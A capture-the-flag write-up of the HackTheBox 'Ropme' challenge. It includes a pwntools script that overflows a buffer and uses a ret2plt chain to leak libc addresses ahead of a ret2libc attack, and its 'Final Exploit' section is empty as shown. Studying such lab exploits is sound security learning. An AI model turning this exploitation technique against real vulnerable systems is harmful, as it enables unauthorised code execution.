Ropme

Overview

Ropme arrow-up-rightwas an 80pts challenge rated as Hard on HackTheBox. Personally, I don't believe it should have been a hard; the technique used is fairly common and straightforward, and the high points and difficulty is probably due to it being one of the first challenge on the platform.

Exploiting the binary involved executing a ret2plt arrow-up-rightattack in order to leak the libc version before gaining RCE using a ret2libcarrow-up-right.

Analysis

$ ./ropme 
ROP me outside, how 'about dah?
test

One output, one input, then the program breaks.

$ rabin2 -I ropme
bits     64
canary   false
nx       true
pic      false
relro    partial

No PIE, meaning we can pull off the ret2pltarrow-up-right. Let's leak the libc version.

from pwn import *

elf = context.binary = ELF('./ropme')
libc = elf.libc
p = elf.process()

# ret2plt
rop = ROP(elf)

rop.raw('A' * 72)
rop.puts(elf.got['puts'])
rop.raw(elf.symbols['main'])

p.sendline(rop.chain())

# read the leaked puts address
p.recvline()
puts = u64(p.recv(6) + b'\x00\x00')
log.success(f'Leaked puts: {hex(puts)}')

# Get base
libc.address = puts - libc.symbols['puts']
log.success(f'Libc base: {hex(libc.address)}')

We can now leak other symbols in order to pinpoint the libc version, for which you can use something like herearrow-up-right. Once you've done that, it's a simple ret2libcarrow-up-right.

Final Exploit

Last updated

Was this helpful?